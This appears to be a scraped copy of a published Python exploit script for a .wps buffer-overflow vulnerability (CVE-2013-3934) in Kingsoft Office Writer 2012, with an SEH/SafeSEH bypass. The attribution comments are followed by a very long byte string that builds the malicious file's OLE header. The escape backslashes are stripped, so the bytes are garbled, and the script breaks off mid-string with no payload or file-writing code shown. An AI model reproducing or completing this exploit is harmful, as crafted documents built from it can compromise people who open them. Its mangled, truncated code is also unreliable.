zoukankan html css js c++ java
Kingsoft Office Writer 2012 8.1.0.3385

#!/usr/bin/python
# Exploit Title: Kingsoft Office Writer v2012 8.1.0.3385 .wps Buffer Overflow Exploit (SEH)
# Version:       2012 8.1.0.3385
# Date:          2013-11-27
# Author:        Julien Ahrens (@MrTuxracer)
# Homepage:      http://www.rcesecurity.com
# Software Link: http://www.kingsoftstore.com
# Tested on:     WinXP-GER, Win7-GER, Win8-EN
#
# Credits for vulnerability discovery:
# Kaveh Ghaemmaghami (http://www.securityfocus.com/bid/61796)
#
# Howto / Notes:
# This scripts creates a .wps file which exploits the vulnerability described in
# CVE-2013-3934 and bypasses SafeSEH protection

from struct import pack

file="exploit.wps"

head=("xD0xCFx11xE0xA1xB1x1AxE1x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x3Ex00x03x00xFExFFx09x00"+
"x06x00x00x00x00x00x00x00x00x00x00x00x01x00x00x00"+
"x01x00x00x00x00x00x00x00x00x10x00x00x02x00x00x00"+
"x01x00x00x00xFExFFxFFxFFx00x00x00x00x00x00x00x00"+
"xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
"xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
"xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
"xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
"xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
"xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
"xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
"xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
"xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
"xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
"xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
"xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
"xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
"xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
"xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
"xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
"xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
"xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
"xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
"xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
"xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
"xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
"xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
"xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
"xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
"xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
"xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
"xFDxFFxFFxFFx05x00x00x00xFExFFxFFxFFx04x00x00x00"+
"x06x00x00x00xFExFFxFFxFFx07x00x00x00x08x00x00x00"+
"x09x00x00x00x0Ax00x00x00x0Bx00x00x00x0Cx00x00x00"+
"x0Dx00x00x00x0Ex00x00x00x0Fx00x00x00x10x00x00x00"+
"x11x00x00x00x12x00x00x00x13x00x00x00xFExFFxFFxFF"+
"xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
"xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
"xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
"xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
"xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
"xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
"xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
"xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
"xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
"xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
"xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
"xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
"xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
"xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
"xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
"xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
"xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
"xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
"xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
"xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
"xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
"xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
"xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
"xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
"xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
"xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
"xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
"x52x00x6Fx00x6Fx00x74x00x20x00x45x00x6Ex00x74x00"+
"x72x00x79x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x16x00x05x00xFFxFFxFFxFFxFFxFFxFFxFFx01x00x00x00"+
"x06x09x02x00x00x00x30x4BxA9x77xD2x14x85x20x36xFE"+
"x00x00x00x00x00x00x00x00x00x00x00x00x60x53x8Ex7F"+
"x5CxE9xCEx01x03x00x00x00x40x1Ex00x00x00x00x00x00"+
"x05x00x53x00x75x00x6Dx00x6Dx00x61x00x72x00x79x00"+
"x49x00x6Ex00x66x00x6Fx00x72x00x6Dx00x61x00x74x00"+
"x69x00x6Fx00x6Ex00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x28x00x02x01x04x00x00x00x02x00x00x00xFFxFFxFFxFF"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x02x00x00x00x00x00x00"+
"x05x00x44x00x6Fx00x63x00x75x00x6Dx00x65x00x6Ex00"+
"x74x00x53x00x75x00x6Dx00x6Dx00x61x00x72x00x79x00"+
"x49x00x6Ex00x66x00x6Fx00x72x00x6Dx00x61x00x74x00"+
"x69x00x6Fx00x6Ex00x00x00x00x00x00x00x00x00x00x00"+
"x38x00x02x01xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x08x00x00x00xF0x01x00x00x00x00x00x00"+
"x57x00x6Fx00x72x00x64x00x44x00x6Fx00x63x00x75x00"+
"x6Dx00x65x00x6Ex00x74x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x1Ax00x02x00xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x10x00x00x00x2Fx0Ex00x00x00x00x00x00"+
"x01x00x00x00x02x00x00x00x03x00x00x00x04x00x00x00"+
"x05x00x00x00x06x00x00x00x07x00x00x00xFExFFxFFxFF"+
"x09x00x00x00x0Ax00x00x00x0Bx00x00x00x0Cx00x00x00"+
"x0Dx00x00x00x0Ex00x00x00x0Fx00x00x00xFExFFxFFxFF"+
"x11x00x00x00x12x00x00x00x13x00x00x00x14x00x00x00"+
"x15x00x00x00x16x00x00x00x17x00x00x00x18x00x00x00"+
"x19x00x00x00x1Ax00x00x00x1Bx00x00x00x1Cx00x00x00"+
"x1Dx00x00x00x1Ex00x00x00x1Fx00x00x00x20x00x00x00"+
"x21x00x00x00x22x00x00x00x23x00x00x00x24x00x00x00"+
"x25x00x00x00x26x00x00x00x27x00x00x00x28x00x00x00"+
"x29x00x00x00x2Ax00x00x00x2Bx00x00x00x2Cx00x00x00"+
"x2Dx00x00x00x2Ex00x00x00x2Fx00x00x00x30x00x00x00"+
"x31x00x00x00x32x00x00x00x33x00x00x00x34x00x00x00"+
"x35x00x00x00x36x00x00x00x37x00x00x00x38x00x00x00"+
"x39x00x00x00x3Ax00x00x00x3Bx00x00x00x3Cx00x00x00"+
"x3Dx00x00x00x3Ex00x00x00x3Fx00x00x00x40x00x00x00"+
"x41x00x00x00x42x00x00x00x43x00x00x00x44x00x00x00"+
"x45x00x00x00x46x00x00x00x47x00x00x00x48x00x00x00"+
"xFExFFxFFxFFx4Ax00x00x00x4Bx00x00x00x4Cx00x00x00"+
"x4Dx00x00x00x4Ex00x00x00x4Fx00x00x00x50x00x00x00"+
"x51x00x00x00x52x00x00x00x53x00x00x00x54x00x00x00"+
"x55x00x00x00x56x00x00x00x57x00x00x00x58x00x00x00"+
"x59x00x00x00x5Ax00x00x00x5Bx00x00x00x5Cx00x00x00"+
"x5Dx00x00x00x5Ex00x00x00x5Fx00x00x00x60x00x00x00"+
"x61x00x00x00x62x00x00x00x63x00x00x00x64x00x00x00"+
"x65x00x00x00x66x00x00x00x67x00x00x00x68x00x00x00"+
"x69x00x00x00x6Ax00x00x00x6Bx00x00x00x6Cx00x00x00"+
"x6Dx00x00x00x6Ex00x00x00x6Fx00x00x00x70x00x00x00"+
"x71x00x00x00x72x00x00x00x73x00x00x00x74x00x00x00"+
"x75x00x00x00x76x00x00x00x77x00x00x00x78x00x00x00"+
"xFExFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
"xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
"xFExFFx00x00x05x01x02x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x01x00x00x00xE0x85x9FxF2"+
"xF9x4Fx68x10xABx91x08x00x2Bx27xB3xD9x30x00x00x00"+
"xD0x01x00x00x12x00x00x00x01x00x00x00xA0x00x00x00"+
"x00x00x00x80xA8x00x00x00x02x00x00x00xB0x00x00x00"+
"x03x00x00x00xC4x00x00x00x04x00x00x00xD0x00x00x00"+
"x05x00x00x00xF4x00x00x00x06x00x00x00x00x01x00x00"+
"x07x00x00x00x0Cx01x00x00x08x00x00x00x2Cx01x00x00"+
"x09x00x00x00x4Cx01x00x00x0Cx00x00x00x58x01x00x00"+
"x0Dx00x00x00x64x01x00x00x0Bx00x00x00x70x01x00x00"+
"x0Ex00x00x00x7Cx01x00x00x0Fx00x00x00x84x01x00x00"+
"x10x00x00x00x8Cx01x00x00x12x00x00x00x94x01x00x00"+
"x13x00x00x00xC8x01x00x00x00x00x00x00x00x00x00x00"+
"x02x00x00x00xB0x04x00x00x13x00x00x00x07x04x00x00"+
"x1Fx00x00x00x05x00x00x00x74x00x65x00x73x00x74x00"+
"x00x00x00x00x1Fx00x00x00x01x00x00x00x00x00x00x00"+
"x1Fx00x00x00x0Ex00x00x00x41x00x64x00x6Dx00x69x00"+
"x6Ex00x69x00x73x00x74x00x72x00x61x00x74x00x6Fx00"+
"x72x00x00x00x1Fx00x00x00x01x00x00x00x00x00x00x00"+
"x1Fx00x00x00x01x00x00x00x00x00x00x00x1Fx00x00x00"+
"x0Bx00x00x00x4Ex00x6Fx00x72x00x6Dx00x61x00x6Cx00"+
"x2Ex00x77x00x70x00x74x00x00x00x00x00x1Fx00x00x00"+
"x0Bx00x00x00x7Ax00x68x00x61x00x6Ex00x67x00x71x00"+
"x69x00x61x00x6Ex00x67x00x00x00x00x00x1Fx00x00x00"+
"x02x00x00x00x33x00x00x00x40x00x00x00x00x0Ax6Ex92"+
"x1DxEDxCAx01x40x00x00x00x00x50x29x7Fx5CxE9xCEx01"+
"x40x00x00x00x00xC0x0CxA9xA9x35x4Fx01x03x00x00x00"+
"x01x00x00x00x03x00x00x00x00x00x00x00x03x00x00x00"+
"x00x00x00x00x1Fx00x00x00x16x00x00x00x4Dx00x69x00"+
"x63x00x72x00x6Fx00x73x00x6Fx00x66x00x74x00x20x00"+
"x4Fx00x66x00x66x00x69x00x63x00x65x00x20x00x57x00"+
"x6Fx00x72x00x64x00x00x00x03x00x00x00x00x00x00x00"+
"xFExFFx00x00x05x01x02x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x02x00x00x00x02xD5xCDxD5"+
"x9Cx2Ex1Bx10x93x97x08x00x2Bx2CxF9xAEx44x00x00x00"+
"x05xD5xCDxD5x9Cx2Ex1Bx10x93x97x08x00x2Bx2CxF9xAE"+
"x5Cx01x00x00x18x01x00x00x10x00x00x00x01x00x00x00"+
"x88x00x00x00x00x00x00x80x90x00x00x00x0Fx00x00x00"+
"x98x00x00x00x02x00x00x00xA4x00x00x00x0Ex00x00x00"+
"xB0x00x00x00x06x00x00x00xBCx00x00x00x05x00x00x00"+
"xC4x00x00x00x11x00x00x00xCCx00x00x00x03x00x00x00"+
"xD4x00x00x00x04x00x00x00xE0x00x00x00x07x00x00x00"+
"xE8x00x00x00x08x00x00x00xF0x00x00x00x09x00x00x00"+
"xF8x00x00x00x0Ax00x00x00x00x01x00x00x0Bx00x00x00"+
"x08x01x00x00x10x00x00x00x10x01x00x00x02x00x00x00"+
"xB0x04x00x00x13x00x00x00x07x04x00x00x1Fx00x00x00"+
"x01x00x00x00x00x00x00x00x1Fx00x00x00x01x00x00x00"+
"x00x00x00x00x1Fx00x00x00x01x00x00x00x00x00x00x00"+
"x03x00x00x00x01x00x00x00x03x00x00x00x01x00x00x00"+
"x03x00x00x00x00x00x00x00x1Fx00x00x00x01x00x00x00"+
"x00x00x00x00x03x00x00x00x00x00x00x00x03x00x00x00"+
"x00x00x00x00x03x00x00x00x00x00x00x00x03x00x00x00"+
"x00x00x00x00x03x00x00x00x00x00x00x00x0Bx00x00x00"+
"x00x00x00x00x0Bx00x00x00x00x00x00x00x94x00x00x00"+
"x04x00x00x00x00x00x00x00x28x00x00x00x01x00x00x00"+
"x5Cx00x00x00x00x00x00x80x64x00x00x00x02x00x00x00"+
"x6Cx00x00x00x01x00x00x00x02x00x00x00x13x00x00x00"+
"x4Bx00x53x00x4Fx00x50x00x72x00x6Fx00x64x00x75x00"+
"x63x00x74x00x42x00x75x00x69x00x6Cx00x64x00x56x00"+
"x65x00x72x00x00x00x00x00x02x00x00x00xB0x04x00x00"+
"x13x00x00x00x07x04x00x00x1Fx00x00x00x10x00x00x00"+
"x31x00x30x00x33x00x33x00x2Dx00x38x00x2Ex00x31x00"+
"x2Ex00x30x00x2Ex00x33x00x33x00x38x00x35x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x30x00x54x00x61x00x62x00x6Cx00x65x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x0Ex00x02x01x05x00x00x00x03x00x00x00xFFxFFxFFxFF"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x49x00x00x00xEAx0Bx00x00x00x00x00x00"+
"x44x00x61x00x74x00x61x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x0Ax00x02x00xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00xFExFFxFFxFFx00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"xECxA5xC1x00x89x88x09x04x00x00x14x50xBFx00x00x00"+
"x00x00x00x10x00x00x00x00x00x08x00x00x0Ax08x00x00"+
"x0Ex00x4Bx53x4Bx53xC3x00x08x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x04x08x16x00"+
"x2Fx0Ex00x00x00x00x00x00x00x00x00x00x05x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00xFFxFFx0Fx00"+
"x00x00x00x00x00x00x00x00xFFxFFx0Fx00x00x00x00x00"+
"x00x00x00x00xFFxFFx0Fx00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00xA4x00x00x00x00x00xD2x04"+
"x00x00x00x00x00x00xD2x04x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x1Dx0Bx00x00x14x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00xD2x04x00x00x0Cx00"+
"x00x00xDEx04x00x00x0Cx00x00x00x00x00x00x00x00x00"+
"x00x00xFFx04x00x00x1Ex03x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00xE8x0Bx00x00x02x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00xF9x0Ax00x00x24x00"+
"x00x00x91x08x00x00x68x02x00x00x1Dx08x00x00x74x00"+
"x00x00xEAx04x00x00x15x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x31x0Bx00x00xB7x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x02x00x0Cx01x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x74x00x65x00x73x00x74x00x0Dx00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
